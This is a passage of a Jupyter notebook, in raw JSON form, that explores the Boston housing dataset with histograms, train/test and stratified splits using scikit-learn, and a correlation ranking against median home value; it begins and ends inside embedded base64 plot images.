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\n", - "text/plain": [ - "
" - ] - }, - "metadata": { - "needs_background": "light" - }, - "output_type": "display_data" - } - ], - "source": [ - "housing.hist(bins=50, figsize=(20, 15))" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "# Train-Test Splitting" - ] - }, - { - "cell_type": "code", - "execution_count": 9, - "metadata": {}, - "outputs": [], - "source": [ - "import numpy as np\n", - "\n", - "\n", - "def split_train_test(data, test_ratio):\n", - " np.random.seed(42)\n", - " shuffled = np.random.permutation(len(data))\n", - " test_set_size = int(len(data) * test_ratio)\n", - " test_indices = shuffled[:test_set_size]\n", - " train_indices = shuffled[test_set_size:]\n", - " return data.iloc[train_indices], data.iloc[test_indices]" - ] - }, - { - "cell_type": "code", - "execution_count": 10, - "metadata": {}, - "outputs": [], - "source": [ - "train_set, test_set = split_train_test(housing, 0.2)" - ] - }, - { - "cell_type": "code", - "execution_count": 11, - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "Rows in train set: 405 \n", - "Rows in test set : 101\n" - ] - } - ], - "source": [ - "print(f\"Rows in train set: {len(train_set)} \\nRows in test set : {len(test_set)}\")" - ] - }, - { - "cell_type": "code", - "execution_count": 12, - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "Rows in train set: 404 \n", - "Rows in test set : 102\n" - ] - } - ], - "source": [ - "from sklearn.model_selection import train_test_split\n", - "\n", - "train_set, test_set = train_test_split(housing, test_size=0.2, random_state=42)\n", - "print(f\"Rows in train set: {len(train_set)} \\nRows in test set : {len(test_set)}\")" - ] - }, - { - "cell_type": "code", - "execution_count": 13, - "metadata": {}, - "outputs": [], - "source": [ - "from sklearn.model_selection import StratifiedShuffleSplit\n", - "\n", - "split = StratifiedShuffleSplit(n_splits=1, test_size=0.2, random_state=42)\n", - "for train_index, test_index in split.split(housing, housing[\"CHAS\"]):\n", - " strat_train_set = housing.loc[train_index]\n", - " strat_test_set = housing.loc[test_index]" - ] - }, - { - "cell_type": "code", - "execution_count": 14, - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "
\n", - "\n", - "\n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - "
CRIMZNINDUSCHASNOXRMAGEDISRADTAXPTRATIOBLSTATMEDV
count102.000000102.000000102.000000102.000000102.000000102.000000102.000000102.000000102.000000102.000000102.000000102.000000102.000000102.000000
mean3.65594213.45098010.3122550.0686270.5413536.30335366.7333333.9884608.813725391.98039218.385294369.67019612.10431422.625490
std10.40096627.5032416.7611540.2540680.1113970.66299627.7721832.1312478.614667167.8373792.31060468.0757746.7592578.452344
min0.0090600.0000000.4600000.0000000.3850004.1380006.5000001.1370001.000000188.00000012.6000003.6500002.4700005.000000
25%0.0578280.0000004.9500000.0000000.4480005.91275045.8500002.2236504.000000270.00000016.800000377.6850007.48000018.925000
50%0.1761500.0000007.7600000.0000000.5150006.17600071.1000003.4229505.000000307.00000019.150000393.74000010.56500021.500000
75%2.0619550.00000018.1000000.0000000.6127506.53950093.5000005.6092258.000000461.00000020.200000396.90000016.26750025.000000
max88.97620090.00000027.7400001.0000000.8710008.725000100.00000010.58570024.000000711.00000022.000000396.90000037.97000050.000000
\n", - "
" - ], - "text/plain": [ - " CRIM ZN INDUS CHAS NOX RM \\\n", - "count 102.000000 102.000000 102.000000 102.000000 102.000000 102.000000 \n", - "mean 3.655942 13.450980 10.312255 0.068627 0.541353 6.303353 \n", - "std 10.400966 27.503241 6.761154 0.254068 0.111397 0.662996 \n", - "min 0.009060 0.000000 0.460000 0.000000 0.385000 4.138000 \n", - "25% 0.057828 0.000000 4.950000 0.000000 0.448000 5.912750 \n", - "50% 0.176150 0.000000 7.760000 0.000000 0.515000 6.176000 \n", - "75% 2.061955 0.000000 18.100000 0.000000 0.612750 6.539500 \n", - "max 88.976200 90.000000 27.740000 1.000000 0.871000 8.725000 \n", - "\n", - " AGE DIS RAD TAX PTRATIO B \\\n", - "count 102.000000 102.000000 102.000000 102.000000 102.000000 102.000000 \n", - "mean 66.733333 3.988460 8.813725 391.980392 18.385294 369.670196 \n", - "std 27.772183 2.131247 8.614667 167.837379 2.310604 68.075774 \n", - "min 6.500000 1.137000 1.000000 188.000000 12.600000 3.650000 \n", - "25% 45.850000 2.223650 4.000000 270.000000 16.800000 377.685000 \n", - "50% 71.100000 3.422950 5.000000 307.000000 19.150000 393.740000 \n", - "75% 93.500000 5.609225 8.000000 461.000000 20.200000 396.900000 \n", - "max 100.000000 10.585700 24.000000 711.000000 22.000000 396.900000 \n", - "\n", - " LSTAT MEDV \n", - "count 102.000000 102.000000 \n", - "mean 12.104314 22.625490 \n", - "std 6.759257 8.452344 \n", - "min 2.470000 5.000000 \n", - "25% 7.480000 18.925000 \n", - "50% 10.565000 21.500000 \n", - "75% 16.267500 25.000000 \n", - "max 37.970000 50.000000 " - ] - }, - "execution_count": 14, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "strat_test_set.describe()" - ] - }, - { - "cell_type": "code", - "execution_count": 15, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "0 95\n", - "1 7\n", - "Name: CHAS, dtype: int64" - ] - }, - "execution_count": 15, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "strat_test_set[\"CHAS\"].value_counts()" - ] - }, - { - "cell_type": "code", - "execution_count": 16, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "0 376\n", - "1 28\n", - "Name: CHAS, dtype: int64" - ] - }, - "execution_count": 16, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "strat_train_set[\"CHAS\"].value_counts()" - ] - }, - { - "cell_type": "code", - "execution_count": 17, - "metadata": {}, - "outputs": [], - "source": [ - "housing = strat_train_set.copy() # use just after split data" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Looking for Correlations" - ] - }, - { - "cell_type": "code", - "execution_count": 18, - "metadata": {}, - "outputs": [], - "source": [ - "corr_matrix = housing.corr()" - ] - }, - { - "cell_type": "code", - "execution_count": 19, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "MEDV 1.000000\n", - "RM 0.679894\n", - "B 0.361761\n", - "ZN 0.339741\n", - "DIS 0.240451\n", - "CHAS 0.205066\n", - "AGE -0.364596\n", - "RAD -0.374693\n", - "CRIM -0.393715\n", - "NOX -0.422873\n", - "TAX -0.456657\n", - "INDUS -0.473516\n", - "PTRATIO -0.493534\n", - "LSTAT -0.740494\n", - "Name: MEDV, dtype: float64" - ] - }, - "execution_count": 19, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "corr_matrix[\"MEDV\"].sort_values(ascending=False)" - ] - }, - { - "cell_type": "code", - "execution_count": 20, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "array([[,\n", - " ,\n", - " ,\n", - " ],\n", - " [,\n", - " ,\n", - " ,\n", - " ],\n", - " [,\n", - " ,\n", - " ,\n", - " ],\n", - " [,\n", - " ,\n", - " ,\n", - " ]], dtype=object)" - ] - }, - "execution_count": 20, - "metadata": {}, - "output_type": "execute_result" - }, - { - "data": { - "image/png": "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